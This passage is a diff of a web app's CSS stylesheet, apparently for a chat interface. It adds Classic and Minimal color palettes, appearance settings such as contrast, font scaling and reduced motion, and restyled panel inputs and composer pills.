 	--chart-3: oklch(0.7554 0.1285 197.339);
 	--chart-4: oklch(0.7503 0.1199 346.7805);
 	--chart-5: oklch(0.799 0.1196 84.6633);
-	/* A step lighter than --background; the tone difference is the separator. */
-	--sidebar: #1f2023;
-	--sidebar-foreground: #ececee;
+	/* Elevated a step lighter than --background; the tone difference is
+	   the separator. */
+	--sidebar: #1f1f1f;
+	--sidebar-foreground: #ececec;
 	--sidebar-primary: #17b88b;
 	--sidebar-primary-foreground: oklch(1 0 0);
-	--sidebar-accent: #2e3035;
-	--sidebar-accent-foreground: #ececee;
-	--sidebar-border: #2d2e32;
-	--sidebar-ring: #17b88b;
+	--sidebar-accent: #2a2a2a;
+	--sidebar-accent-foreground: #ececec;
+	--sidebar-border: #2a2a2a;
+	--sidebar-ring: #ececec;
 	--destructive-foreground: oklch(1 0 0);
 	/* Match light's radius so every rounded-* element is the same in both themes. */
 	--radius: 1.1rem;
@@ -336,21 +357,23 @@
 	--shadow-xl: 0px 0px 0px 0px hsl(0 0% 0% / 0), 0px 8px 10px 0px hsl(0 0% 0% / 0);
 	--shadow-2xl: 0px 0px 0px 0px hsl(0 0% 0% / 0);
 
-	--nav-fg: #c7c7c4;
-	--nav-fg-muted: #96979b;
-	--nav-surface-hover: #2e3035;
+	--nav-fg: #c9c9c9;
+	--nav-fg-muted: #969696;
+	--nav-surface-hover: #2a2a2a;
 	--nav-icon-idle: #5c5c5c;
-	--nav-beta-border: #3a3c3f;
-	--panel-surface-hover: #3a3c42;
+	--nav-beta-border: #333333;
+	--panel-surface-hover: #333333;
 	/* Right-side chat-parameters panel: matches the chat content
 	   surface in both themes — distinction from the left sidebar
-	   (#18181a, the deepest surface) is handled by the left border
-	   alone. Tracks `--background` so any future tweaks to the chat
-	   surface flow through automatically. */
+	   is handled by the left border alone. Tracks `--background` so
+	   any future tweaks to the chat surface flow through
+	   automatically. */
 	--panel-surface: var(--background);
 	--panel-surface-fg: var(--foreground);
-	--panel-input-surface: #2a2b2e;
-	--panel-input-surface-hover: #34373c;
+	/* Translucent white so the same fill reads correctly on the #181818
+	   page AND on #212121 cards/dialogs. */
+	--panel-input-surface: rgba(255, 255, 255, 0.07);
+	--panel-input-surface-hover: rgba(255, 255, 255, 0.11);
 	/* Soft neutral gray for muted text and sliders. Pure-ish #ababab
 	   reads as quiet on the dark panel without going colored. */
 	--panel-surface-fg-muted: #ababab;
@@ -362,13 +385,365 @@
 	   hover restores full --foreground for affordance. */
 	--chat-icon-fg: #d8d8d8;
 	--chat-icon-fg-hover: var(--foreground);
-	--chat-icon-bg-hover: #2d2e32;
+	--chat-icon-bg-hover: #2a2a2a;
+}
+
+/* ---------------------------------------------------------------------------
+   Color palettes.
+
+   The palette is a second theming dimension, orthogonal to light/dark. It is
+   carried on <html> as `data-palette` (managed by theme-store.ts alongside the
+   light/dark class):
+
+     (no attribute)            → Standard: the signature Unsloth green.
+     data-palette="classic"    → Classic: neutral grays with a calm blue
+                                 accent; enterprise-safe.
+     data-palette="minimal"    → Minimal: strictly black, white, and gray.
+
+   Each palette overrides only color tokens; typography, radii, spacing, and
+   shadows are inherited from the base :root/.dark blocks so layout is
+   identical across palettes. Light blocks are scoped with :not(.dark) so the
+   base .dark block always wins the mode dimension. */
+
+/* -------------------------------- Classic --------------------------------
+   White content and the standard white sidebar in light, shared dark
+   surfaces in dark, neutral gray hovers, and blue (#339cff) as the accent. */
+:root[data-palette="classic"]:not(.dark) {
+	--background: #ffffff;
+	--foreground: #1a1c1f;
+	--card: #ffffff;
+	--card-foreground: #1a1c1f;
+	--popover: #ffffff;
+	--popover-foreground: #1a1c1f;
+	/* Neutral black primary; blue is reserved for small controls via
+	   --control-accent (toggles, badges, focus rings). */
+	--primary: #0d0d0d;
+	--primary-foreground: #ffffff;
+	--control-accent: #339cff;
+	--control-accent-foreground: #ffffff;
+	--secondary: #f5f5f5;
+	--secondary-foreground: #1a1c1f;
+	--muted: #f7f7f7;
+	--muted-foreground: #8f8f8f;
+	--accent: #ececec;
+	--accent-foreground: #1a1c1f;
+	--bypass: #9a7b1e;
+	--border: #e6e6e6;
+	--input: #e6e6e6;
+	--ring: #1a1c1f;
+	--chart-1: #339cff;
+	--chart-2: #8fa3b8;
+	--chart-3: #0f6fd6;
+	--chart-4: #b8c4d0;
+	--chart-5: #5b7189;
+	/* Same as the standard palette; the sidebar surface does not change
+	   with the palette. */
+	--sidebar: #ffffff;
+	--sidebar-foreground: #1a1c1f;
+	--sidebar-primary: #0d0d0d;
+	--sidebar-primary-foreground: #ffffff;
+	--sidebar-accent: #ececec;
+	--sidebar-accent-foreground: #1a1c1f;
+	--sidebar-border: #f2f2f2;
+	--sidebar-ring: #1a1c1f;
+
+	--nav-fg: #2d2f31;
+	--nav-fg-muted: #8f8f8f;
+	--nav-surface-hover: #ececec;
+	--nav-icon-idle: #8f8f8f;
+	--nav-beta-border: #e0e0e0;
+	--panel-surface-hover: #ececec;
+	--panel-input-surface: #f4f4f4;
+	--panel-input-surface-hover: #ededed;
+	--panel-surface-fg-muted: #7a7c7e;
+	--panel-slider-fg: #9b9d9f;
+	--chat-icon-fg: #5d5f61;
+	--chat-icon-bg-hover: #ececec;
+}
+
+/* Dark surfaces come from the shared base .dark block; Classic only swaps
+   the accents: neutral (white) buttons, blue on small controls via
+   --control-accent. */
+:root[data-palette="classic"].dark {
+	--primary: #ececec;
+	--primary-foreground: #0d0d0d;
+	--control-accent: #4dabff;
+	--control-accent-foreground: #ffffff;
+	--bypass: #d9b40b;
+	--ring: #ececec;
+	--chart-1: #4dabff;
+	--chart-2: #8ab6de;
+	--chart-3: #1f7fe8;
+	--chart-4: #b3d4f5;
+	--chart-5: #6d87a3;
+	--sidebar-primary: #ececec;
+	--sidebar-primary-foreground: #0d0d0d;
+	--sidebar-ring: #ececec;
+}
+
+/* -------------------------------- Minimal -------------------------------- */
+:root[data-palette="minimal"]:not(.dark) {
+	--background: #ffffff;
+	--foreground: #171717;
+	--card: #ffffff;
+	--card-foreground: #171717;
+	--popover: #ffffff;
+	--popover-foreground: #171717;
+	--primary: #171717;
+	--primary-foreground: #ffffff;
+	--secondary: #f5f5f5;
+	--secondary-foreground: #262626;
+	--muted: #f5f5f5;
+	--muted-foreground: #6f6f6f;
+	--accent: #ebebeb;
+	--accent-foreground: #171717;
+	--bypass: #6f6f6f;
+	--border: #e2e2e2;
+	--input: #e2e2e2;
+	--ring: #171717;
+	--chart-1: #171717;
+	--chart-2: #4d4d4d;
+	--chart-3: #7a7a7a;
+	--chart-4: #a6a6a6;
+	--chart-5: #d1d1d1;
+	/* White sidebar on white content; the border alone is the separator. */
+	--sidebar: #ffffff;
+	--sidebar-foreground: #171717;
+	--sidebar-primary: #171717;
+	--sidebar-primary-foreground: #ffffff;
+	--sidebar-accent: #ebebeb;
+	--sidebar-accent-foreground: #171717;
+	--sidebar-border: #e8e8e8;
+	--sidebar-ring: #171717;
+
+	--nav-fg: #333333;
+	--nav-fg-muted: #8a8a8a;
+	--nav-surface-hover: #efefef;
+	--nav-icon-idle: #8f8f8f;
+	--nav-beta-border: #dddddd;
+	--panel-surface-hover: #ececec;
+	--panel-input-surface: #f4f4f4;
+	--panel-input-surface-hover: #ededed;
+	--panel-surface-fg-muted: #757575;
+	--panel-slider-fg: #9b9b9b;
+	--chat-icon-fg: #555555;
+	--chat-icon-bg-hover: #ececec;
+}
+
+/* Dark surfaces come from the shared base .dark block; Minimal only swaps
+   the accents to pure monochrome (white buttons, gray chart ramp). */
+:root[data-palette="minimal"].dark {
+	--primary: #ededed;
+	--primary-foreground: #111111;
+	--bypass: #9c9c9c;
+	--ring: #ededed;
+	--chart-1: #ededed;
+	--chart-2: #bdbdbd;
+	--chart-3: #8f8f8f;
+	--chart-4: #616161;
+	--chart-5: #3d3d3d;
+	--sidebar-primary: #ededed;
+	--sidebar-primary-foreground: #111111;
+	--sidebar-ring: #ededed;
+}
+
+/* ---------------------------------------------------------------------------
+   Appearance customization hooks (Settings → Appearance).
+
+   Every rule below is gated on a class or data attribute that
+   appearance-custom-store.ts toggles on <html>. With no customization active,
+   none of these selectors match and the stylesheet behaves exactly as stock.
+   Custom colors/fonts are applied as inline CSS variables on <html> (inline
+   wins over every :root/.dark/palette block), so they need no rules here. */
+
+/* Contrast slider: remap border and muted-text tokens by mixing their base
+   values toward the foreground (higher contrast) or background (lower).
+   --input mirrors --border in every palette, so it serves as the untouched
+   base for --border; --panel-surface-fg-muted is the closest stable base for
+   --muted-foreground. --contrast-mix / --contrast-target are set inline. */
+html[data-contrast-adjust] {
+	--border: color-mix(in oklab, var(--input), var(--contrast-target) var(--contrast-mix));
+	--sidebar-border: color-mix(in oklab, var(--input), var(--contrast-target) var(--contrast-mix));
+	--muted-foreground: color-mix(
+		in oklab,
+		var(--panel-surface-fg-muted),
+		var(--contrast-target) var(--contrast-mix)
+	);
+}
+
+/* Code font size: only overrides when the user sets an explicit size, so the
+   per-element Tailwind sizes stay authoritative by default. */
+html[data-code-font-size] :is(pre, code, kbd, samp) {
+	font-size: var(--custom-code-font-size) !important;
+}
+
+/* Pointer cursors: hand cursor over interactive elements. */
+html.pointer-cursors
+	:is(
+		button:not(:disabled),
+		[role="button"],
+		a[href],
+		select,
+		summary,
+		[role="tab"],
+		[role="menuitem"],
+		[role="option"],
+		[role="switch"],
+		[role="checkbox"],
+		input[type="checkbox"],
+		input[type="radio"],
+		input[type="range"],
+		label[for]
+	) {
+	cursor: pointer;
+}
+
+/* Force reduced motion: collapses CSS animations/transitions app-wide.
+   JS-driven springs are handled separately via MotionConfig in the provider. */
+html.force-reduced-motion *,
+html.force-reduced-motion *::before,
+html.force-reduced-motion *::after {
+	animation-duration: 0.01ms !important;
+	animation-iteration-count: 1 !important;
+	transition-duration: 0.01ms !important;
+	scroll-behavior: auto !important;
+}
+
+/* Same loader exceptions as the OS-level media block below: freezing
+   spinners removes the only signal that work is in flight. */
+html.force-reduced-motion .animate-spin {
+	animation-duration: 1.5s !important;
+	animation-iteration-count: infinite !important;
+}
+html.force-reduced-motion .generated-image-loading-dot {
+	animation-duration: 1850ms !important;
+	animation-iteration-count: infinite !important;
+}
+html.force-reduced-motion .loading-bar-slide {
+	animation-duration: 1.3s !important;
+	animation-iteration-count: infinite !important;
+}
+html.force-reduced-motion .unsloth-composer-plus svg {
+	transition-duration: 250ms !important;
+}
+
+/* Font smoothing toggle: back to the browser's subpixel default. */
+html.no-font-smoothing body {
+	-webkit-font-smoothing: auto;
+	-moz-osx-font-smoothing: auto;
+}
+
+/* Match Inter's lighter macOS rendering. Dark surfaces need a stronger
+   correction than light surfaces. Keep 410 when smoothing is off or a custom
+   font reaches chat. */
+html.render-linux:not(.no-font-smoothing):not([data-chat-font]):not([data-ui-font])
+	:is(.aui-assistant-message-root, .aui-user-message-root) {
+	font-weight: 390;
+}
+
+html.dark.render-linux:not(.no-font-smoothing):not([data-chat-font]):not([data-ui-font])
+	:is(.aui-assistant-message-root, .aui-user-message-root) {
+	font-weight: 350;
+	/* The lighter variable-font instance has narrower advances. Reduce
+	   dark-mode line-wrap drift without changing custom-font paths. */
+	letter-spacing: 0.023em;
+}
+
+/* Chat font: only applies while a custom chat font is set. Elements with
+   explicit font utilities (headings, code) keep their own families. */
+html[data-chat-font] .aui-root {
+	font-family: var(--custom-chat-font);
+}
+
+/* Palette cards: the active ring keys off html[data-palette] so it swaps
+   in the same style pass that swaps the color tokens. Driving it from
+   React state paints one frame late while the whole page recalculates,
+   which briefly leaves the ring on the previous card. */
+.palette-card:hover {
+	border-color: var(--ring-soft);
+}
+:root:not([data-palette]) .palette-card[data-palette-value="standard"],
+:root[data-palette="classic"] .palette-card[data-palette-value="classic"],
+:root[data-palette="minimal"] .palette-card[data-palette-value="minimal"] {
+	/* Selection keeps the card's own border weight, only darker. */
+	border-color: var(--ring-select);
+}
+
+/* Settings search: brief highlight on the row a result jumped to. */
+.settings-search-hit {
+	animation: settings-search-hit 1.6s ease-out;
+	border-radius: 12px;
+}
+@keyframes settings-search-hit {
+	0%,
+	35% {
+		background-color: var(--accent);
+	}
+	100% {
+		background-color: transparent;
+	}
 }
 
 @theme inline {
-	--font-sans: "Inter Variable", ui-sans-serif, sans-serif, system-ui;
-	--font-heading: "Hellix", "Space Grotesk Variable", var(--font-sans);
-	--color-sidebar-ring: var(--sidebar-ring);
+	/* UI typography scale (Settings > Appearance). Every token multiplies
+	   its default size by --ui-font-scale, so text follows the preference
+	   while rem-based layout stays put. Identity at the 16px default. */
+	--text-xs: calc(0.75rem * var(--ui-font-scale, 1));
+	--text-sm: calc(0.875rem * var(--ui-font-scale, 1));
+	--text-base: calc(1rem * var(--ui-font-scale, 1));
+	--text-lg: calc(1.125rem * var(--ui-font-scale, 1));
+	--text-xl: calc(1.25rem * var(--ui-font-scale, 1));
+	--text-2xl: calc(1.5rem * var(--ui-font-scale, 1));
+	--text-3xl: calc(1.875rem * var(--ui-font-scale, 1));
+	--text-4xl: calc(2.25rem * var(--ui-font-scale, 1));
+	/* Arbitrary px sizes from the design, one token per size. */
+	--text-ui-8: calc(0.5rem * var(--ui-font-scale, 1));
+	--text-ui-9: calc(0.5625rem * var(--ui-font-scale, 1));
+	--text-ui-10: calc(0.625rem * var(--ui-font-scale, 1));
+	--text-ui-10p5: calc(0.65625rem * var(--ui-font-scale, 1));
+	--text-ui-11: calc(0.6875rem * var(--ui-font-scale, 1));
+	--text-ui-11p5: calc(0.71875rem * var(--ui-font-scale, 1));
+	--text-ui-12: calc(0.75rem * var(--ui-font-scale, 1));
+	--text-ui-12p5: calc(0.78125rem * var(--ui-font-scale, 1));
+	--text-ui-13: calc(0.8125rem * var(--ui-font-scale, 1));
+	--text-ui-13p5: calc(0.84375rem * var(--ui-font-scale, 1));
+	--text-ui-14: calc(0.875rem * var(--ui-font-scale, 1));
+	--text-ui-14p5: calc(0.90625rem * var(--ui-font-scale, 1));
+	--text-ui-15: calc(0.9375rem * var(--ui-font-scale, 1));
+	--text-ui-15p5: calc(0.96875rem * var(--ui-font-scale, 1));
+	--text-ui-16: calc(1rem * var(--ui-font-scale, 1));
+	--text-ui-17: calc(1.0625rem * var(--ui-font-scale, 1));
+	--text-ui-18: calc(1.125rem * var(--ui-font-scale, 1));
+	--text-ui-19: calc(1.1875rem * var(--ui-font-scale, 1));
+	--text-ui-21: calc(1.3125rem * var(--ui-font-scale, 1));
+	--text-ui-25: calc(1.5625rem * var(--ui-font-scale, 1));
+	--text-ui-30: calc(1.875rem * var(--ui-font-scale, 1));
+	--text-ui-34: calc(2.125rem * var(--ui-font-scale, 1));
+	/* Exact line-heights paired with the sizes above. */
+	--leading-ui-14: calc(0.875rem * var(--ui-font-scale, 1));
+	--leading-ui-15: calc(0.9375rem * var(--ui-font-scale, 1));
+	--leading-ui-16: calc(1rem * var(--ui-font-scale, 1));
+	--leading-ui-17: calc(1.0625rem * var(--ui-font-scale, 1));
+	--leading-ui-18: calc(1.125rem * var(--ui-font-scale, 1));
+	--leading-ui-19: calc(1.1875rem * var(--ui-font-scale, 1));
+	--leading-ui-24: calc(1.5rem * var(--ui-font-scale, 1));
+	--leading-ui-31: calc(1.9375rem * var(--ui-font-scale, 1));
+	/* Numeric leading is typographic: scale it too (it would
+	   otherwise pin through --spacing). Same values at 16px. */
+	--leading-3: calc(0.75rem * var(--ui-font-scale, 1));
+	--leading-4: calc(1rem * var(--ui-font-scale, 1));
+	--leading-5: calc(1.25rem * var(--ui-font-scale, 1));
+	--leading-6: calc(1.5rem * var(--ui-font-scale, 1));
+	--leading-7: calc(1.75rem * var(--ui-font-scale, 1));
+	--leading-8: calc(2rem * var(--ui-font-scale, 1));
+	--leading-9: calc(2.25rem * var(--ui-font-scale, 1));
+	--leading-10: calc(2.5rem * var(--ui-font-scale, 1));
+	/* Reference the :root tokens instead of literal stacks so the runtime
+	   font overrides (Settings > Appearance) reach every font-* utility. */
+	--font-sans: var(--font-sans);
+	--font-heading: var(--font-heading);
+	--color-verified: var(--verified);
+	--color-sidebar-ring: var(--ring-soft);
 	--color-sidebar-border: var(--sidebar-border);
 	--color-sidebar-accent-foreground: var(--sidebar-accent-foreground);
 	--color-sidebar-accent: var(--sidebar-accent);
@@ -382,7 +757,11 @@
 	--color-chart-2: var(--chart-2);
 	--color-chart-1: var(--chart-1);
 	--color-code-block: #181818;
-	--color-ring: var(--ring);
+	/* Tailwind ring/border/outline "ring" utilities are focus indicators
+	   across the app, so they map to the soft derived shade; persistent
+	   selection styling uses ring-strong (the raw --ring). */
+	--color-ring: var(--ring-soft);
+	--color-ring-strong: var(--ring-select);
 	--color-input: var(--input);
 	--color-border: var(--border);
 	--color-destructive: var(--destructive);
@@ -395,6 +774,8 @@
 	--color-secondary: var(--secondary);
 	--color-primary-foreground: var(--primary-foreground);
 	--color-primary: var(--primary);
+	--color-control-accent: var(--control-accent);
+	--color-control-accent-foreground: var(--control-accent-foreground);
 	--color-popover-foreground: var(--popover-foreground);
 	--color-popover: var(--popover);
 	--color-card-foreground: var(--card-foreground);
@@ -408,8 +789,8 @@
 	--radius-2xl: calc(var(--radius) + 8px);
 	--radius-3xl: calc(var(--radius) + 12px);
 	--radius-4xl: calc(var(--radius) + 16px);
-	--font-mono: JetBrains Mono, monospace;
-	--font-serif: Source Serif 4, serif;
+	--font-mono: var(--font-mono);
+	--font-serif: var(--font-serif);
 	--radius: 1.1rem;
 	--tracking-tighter: 0em;
 	--tracking-tight: 0em;
@@ -444,6 +825,8 @@
 	--color-panel-surface: var(--panel-surface);
 	--color-panel-surface-fg: var(--panel-surface-fg);
 	--color-panel-surface-fg-muted: var(--panel-surface-fg-muted);
+	--color-panel-input-surface: var(--panel-input-surface);
+	--color-panel-input-surface-hover: var(--panel-input-surface-hover);
 	--color-chat-icon-fg: var(--chat-icon-fg);
 	--color-chat-icon-fg-hover: var(--chat-icon-fg-hover);
 	--color-chat-icon-bg-hover: var(--chat-icon-bg-hover);
@@ -537,6 +920,26 @@
 		margin-right: 0 !important;
 	}
 
+	/* Firefox makes scrollable containers keyboard focusable; swap the 3px
+	   UA outline for the app's soft 1px indicator. :where keeps specificity
+	   at zero so interactive components keep their own focus styles. */
+	:where(div, main, section, aside, ul, ol):focus-visible {
+		outline: 1px solid var(--ring-soft);
+		outline-offset: -1px;
+	}
+
+	/* Number fields use the shared grey stepper instead of native spinners. */
+	input[type="number"] {
+		appearance: textfield;
+		-moz-appearance: textfield;
+	}
+
+	input[type="number"]::-webkit-inner-spin-button,
+	input[type="number"]::-webkit-outer-spin-button {
+		-webkit-appearance: none;
+		margin: 0;
+	}
+
 	h1,
 	h2,
 	h3,
@@ -567,7 +970,7 @@
 	}
 
 	.nav-icon-btn {
-		@apply inline-flex h-7 w-7 items-center justify-center rounded-full transition-colors focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring;
+		@apply inline-flex h-7 w-7 items-center justify-center rounded-full transition-colors focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring;
 	}
 
 	/* Standard icon size — drives every nav/menu/action-bar icon
@@ -632,7 +1035,7 @@
 	   alignment, but width is tighter so the small chevron glyph reads
 	   as a compact control rather than a full-size icon button. */
 	.aui-branch-chevron-btn {
-		@apply inline-flex h-8 w-6 cursor-pointer items-center justify-center rounded-full p-0 text-chat-icon-fg transition-colors hover:bg-chat-icon-bg-hover hover:text-chat-icon-fg-hover focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring disabled:cursor-not-allowed disabled:opacity-30 disabled:hover:bg-transparent;
+		@apply inline-flex h-8 w-6 cursor-pointer items-center justify-center rounded-full p-0 text-chat-icon-fg transition-colors hover:bg-chat-icon-bg-hover hover:text-chat-icon-fg-hover focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring disabled:cursor-not-allowed disabled:opacity-30 disabled:hover:bg-transparent;
 	}
 	.sidebar-row-action:hover .sidebar-row-action-glyph,
 	.sidebar-row-action[data-state="open"] .sidebar-row-action-glyph {
@@ -646,7 +1049,7 @@
 	}
 
 	.sidebar-sticky-label {
-		@apply rounded-none bg-sidebar pt-0 pb-[8px] pl-[16px] pr-4 text-[14px]! leading-[17px] font-medium normal-case focus-visible:ring-0! focus-visible:outline-none transition-shadow duration-150;
+		@apply rounded-none bg-sidebar pt-0 pb-[8px] pl-[16px] pr-4 text-ui-14! leading-ui-17 font-medium normal-case focus-visible:ring-0! focus-visible:outline-none transition-shadow duration-150;
 		/* Muted section-header gray, matching Gemini's "Notebooks"/"Recents".
 		   Lightened from #5f6368 so the label reads as a header, clearly
 		   lighter than the near-black nav items. */
@@ -662,30 +1065,46 @@
 		color: #9aa0a6;
 		letter-spacing: 0;
 	}
-	/* Neutral panel input surface — sidesteps the green cast on
-	   `--input` / `--border` (both have a small chroma at hue ~165 in
-	   light mode). Same value drives the preset input pill, the system
-	   prompt button, and the chat-template textarea so all three read
-	   as one quiet gray family, matching the focused-edit-number tint. */
+	/* Panel input fields. Light mode matches the settings fields: white
+	   fill with a subtle border. Dark mode keeps the borderless
+	   translucent surface shared with the rest of the panel. */
 	.panel-input-group {
 		@apply !h-9 min-h-9 min-w-0 items-stretch gap-0 rounded-full pr-0 transition-colors focus-within:ring-0 focus-within:shadow-none;
-		border: 0 !important;
-		background-color: var(--panel-input-surface);
+		border: 1px solid var(--border) !important;
+		background-color: var(--background);
 	}
 	.panel-input-group:has([data-slot="input-group-control"]:focus-visible) {
-		border: 0 !important;
+		border-color: var(--ring-soft) !important;
 		box-shadow: none;
 	}
-
-	/* Neutral surface for the larger panel text containers — system
-	   prompt preview button and chat-template textarea — so they share
-	   the same gray as the preset input pill and don't pick up the
-	   theme's slight green-cast `--input`. */
-	.panel-text-surface {
-		@apply rounded-[20px] border-0 transition-colors;
+	.dark .panel-input-group,
+	.dark .panel-input-group:has([data-slot="input-group-control"]:focus-visible) {
+		border: 0 !important;
 		background-color: var(--panel-input-surface);
 	}
-	.panel-text-surface:hover {
+
+	/* Larger panel text containers (system prompt preview button and
+	   chat-template textarea) share the same treatment. */
+	.panel-text-surface {
+		@apply rounded-[20px] transition-colors;
+		border: 1px solid var(--border);
+		background-color: var(--background);
+	}
+	.dark .panel-text-surface {
+		border-color: transparent;
+		background-color: var(--panel-input-surface);
+	}
+	.dark .panel-text-surface:hover {
+		border-color: transparent;
+		background-color: var(--panel-input-surface-hover);
+	}
+	/* Typing/clicking into the box darkens its border (dark mode surfaces are
+	   borderless, so the brighter hover fill marks focus there). */
+	.panel-text-surface:focus-within {
+		border-color: var(--ring-soft);
+	}
+	.dark .panel-text-surface:focus-within {
+		border-color: transparent;
 		background-color: var(--panel-input-surface-hover);
 	}
 
@@ -769,7 +1188,7 @@
 	   fade-in, just enough to read as interactive without competing
 	   with the slider row's quiet aesthetic. */
 	.panel-number-input {
-		@apply h-7 min-w-8 shrink-0 rounded-full border-0 bg-transparent px-2 text-right text-[13px]! font-medium tabular-nums text-nav-fg shadow-none transition-colors hover:bg-black/[0.04] focus:bg-black/[0.05] focus-visible:ring-0! focus-visible:outline-none md:text-[13px]!;
+		@apply h-7 min-w-8 shrink-0 rounded-full border-0 bg-transparent px-2 text-right text-ui-13! font-medium tabular-nums text-nav-fg shadow-none transition-colors hover:bg-black/[0.04] focus:bg-black/[0.05] focus-visible:ring-0! focus-visible:outline-none md:text-ui-13!;
 	}
 	.dark .panel-number-input {
 		@apply hover:bg-white/[0.04] focus:bg-white/[0.06];
@@ -792,7 +1211,7 @@
 	}
 
 	.tooltip-compact {
-		@apply rounded-[11px] border-transparent bg-black px-2.5 py-1.5 text-[11px] font-medium leading-snug text-white shadow-md;
+		@apply rounded-[11px] border-transparent bg-black px-2.5 py-1.5 text-ui-11 font-medium leading-snug text-white shadow-md;
 	}
 
 	/* Dialog popups: borderless; chatbox shadow in light, flat card
@@ -829,8 +1248,8 @@
 		gap: 9.5px !important;
 		border-radius: 12px;
 		font-weight: 500;
-		font-size: 15px;
-		line-height: 20px;
+		font-size: calc(0.9375rem * var(--ui-font-scale, 1));
+		line-height: calc(1.25rem * var(--ui-font-scale, 1));
 		letter-spacing: 0;
 		color: var(--nav-fg);
 	}
@@ -1059,6 +1478,7 @@
 
 	.chat-composer-surface {
 		@apply relative flex w-full flex-col rounded-[32px] bg-background dark:bg-card px-1 pt-2 outline-none transition-shadow;
+		container-type: inline-size;
 		font-family: var(--font-sans);
 		background-clip: padding-box;
 		background-color: #ffffff;
@@ -1073,7 +1493,7 @@
 	}
 
 	.composer-pill-btn {
-		@apply flex cursor-pointer items-center gap-1.5 rounded-full py-1.5 pl-2 pr-2.5 text-[14px] font-medium text-muted-foreground/70 transition-colors hover:bg-primary/10 dark:hover:bg-white/[0.1] disabled:cursor-not-allowed disabled:opacity-40;
+		@apply flex cursor-pointer items-center gap-1.5 rounded-full py-1.5 pl-2 pr-2.5 text-ui-14 font-medium text-muted-foreground/70 transition-colors hover:bg-primary/10 dark:hover:bg-white/[0.1] disabled:cursor-not-allowed disabled:opacity-40;
 	}
 
 	/* Caret pills (RAG, MCP): the chevron carries its own whitespace, so the
@@ -1092,6 +1512,15 @@
 	.composer-pill-btn[data-active="true"] {
 		color: var(--primary);
 	}
+	/* Permission-level pill: higher-contrast grey than the resting pills so
+	   the active level stays legible (darker in light mode, lighter in dark).
+	   Full access keeps the danger yellow below. */
+	.composer-pill-btn.composer-pill-permissions:not([data-variant="danger"]) {
+		color: color-mix(in oklab, var(--foreground) 60%, transparent);
+	}
+	.dark .composer-pill-btn.composer-pill-permissions:not([data-variant="danger"]) {
+		color: color-mix(in oklab, var(--foreground) 72%, transparent);
+	}
 	/* Bypass permissions badge: bright yellow text, no resting fill; the
 	   rounded hover pill picks up the yellow accent like other toggles. */
 	.composer-pill-btn[data-variant="danger"] {
@@ -1107,7 +1536,9 @@
 	}
 
 	/* With more than 4 tools on, drop pill labels to icons only to cut clutter.
-	   Compare keeps its label via data-keep-label. */
+	   Compare and the bypass-permissions pill keep their labels via
+	   data-keep-label; the permission pill sits before the collapsed icons, so
+	   they line up to its right. */
 	[data-pill-compact="true"]
 		.composer-pill-btn:not([data-keep-label])
 		> span:not(.composer-pill-glyph) {
@@ -1150,7 +1581,7 @@
 		.composer-pill-btn:not([data-keep-label])[data-pill-label]:hover::after {
 		content: attr(data-pill-label);
 		/* Always one nowrap line, so always a full pill. */
-		@apply pointer-events-none absolute bottom-[calc(100%+6px)] left-1/2 z-50 -translate-x-1/2 rounded-full bg-black px-2.5 py-1.5 text-[11px] font-medium leading-snug whitespace-nowrap text-white shadow-md;
+		@apply pointer-events-none absolute bottom-[calc(100%+6px)] left-1/2 z-50 -translate-x-1/2 rounded-full bg-black px-2.5 py-1.5 text-ui-11 font-medium leading-snug whitespace-nowrap text-white shadow-md;
 	}
 
 	/* Compact caret pills (RAG, MCP) open their menu on click instead of
@@ -1170,12 +1601,12 @@
 	}
 
 	/* Hovering an active pill swaps the icon for an X (click to turn off). */
-	.composer-pill-btn[data-active="true"]:hover .composer-pill-glyph > :not(.composer-pill-x),
+	.composer-pill-btn[data-active="true"]:has(.composer-pill-x):hover .composer-pill-glyph > :not(.composer-pill-x),
 	.unsloth-thinking-pill[data-active="true"]:hover .composer-pill-glyph > :not(.composer-pill-x) {
 		@apply opacity-0;
 	}
 
-	.composer-pill-btn[data-active="true"]:hover .composer-pill-x,
+	.composer-pill-btn[data-active="true"]:has(.composer-pill-x):hover .composer-pill-x,
 	.unsloth-thinking-pill[data-active="true"]:hover .composer-pill-x {
 		@apply opacity-100;
 	}
@@ -1203,13 +1634,14 @@
 	}
 
 	.composer-footer-note {
-		@apply mt-1.5 text-center text-[11px] tracking-[0em] text-muted-foreground;
+		@apply mt-1.5 text-center text-ui-11 tracking-[0em] text-muted-foreground;
 		font-family: var(--font-sans);
 	}
 
 	/* Pill composer; own classes so compare-mode keeps its stacked layout. */
 	.unsloth-composer-surface {
 		@apply relative flex w-full flex-col rounded-[32px] bg-background dark:bg-card px-3 py-3 outline-none transition-shadow;
+		container-type: inline-size;
 		font-family: var(--font-sans);
 		background-clip: padding-box;
 		background-color: #ffffff;
@@ -1242,8 +1674,14 @@
 		@apply flex w-full flex-wrap items-center gap-0.5 px-1;
 	}
 
+	/* Recording is a dedicated one-line mode. Active tool pills must not force
+	   the composer back into the normal two-row layout. */
+	.unsloth-composer-line[data-dictating="true"] {
+		@apply flex-nowrap;
+	}
+
 	.unsloth-composer-left {
-		@apply flex shrink-0 items-center gap-0.5;
+		@apply flex min-w-0 flex-wrap items-center gap-0.5;
 		order: 1;
 		/* Pull the plus button closer to the composer edge. */
 		margin-left: -0.25rem;
@@ -1289,7 +1727,7 @@
 	}
 
 	.unsloth-composer-input {
-		@apply min-h-[40px] min-w-0 flex-1 resize-none overflow-y-auto bg-transparent pl-0.5 pr-2 py-2 text-[15px] font-[450] leading-6 outline-none placeholder:text-muted-foreground focus-visible:ring-0;
+		@apply min-h-[40px] min-w-0 flex-1 resize-none overflow-y-auto bg-transparent pl-0.5 pr-2 py-2 text-ui-15 font-[450] leading-6 outline-none placeholder:text-muted-foreground focus-visible:ring-0;
 	}
 
 	.unsloth-composer-plus {
@@ -1321,7 +1759,7 @@
 	.unsloth-thinking-pill:focus-visible,
 	.unsloth-composer-plus:focus-visible {
 		outline: none;
-		box-shadow: 0 0 0 2px color-mix(in oklab, var(--ring) 45%, transparent);
+		box-shadow: 0 0 0 1px var(--ring-soft);
 	}
 
 	/* Clickable controls never show the browser's blue outline (Radix re-focuses
@@ -1335,24 +1773,40 @@
 	[role="button"]:focus {
 		outline: none !important;
 	}
-	button:focus:not(:focus-visible),
+	/* Pressed controls are exempt: their ring marks SELECTION, and the just
+	   clicked control is exactly the one holding mouse focus. */
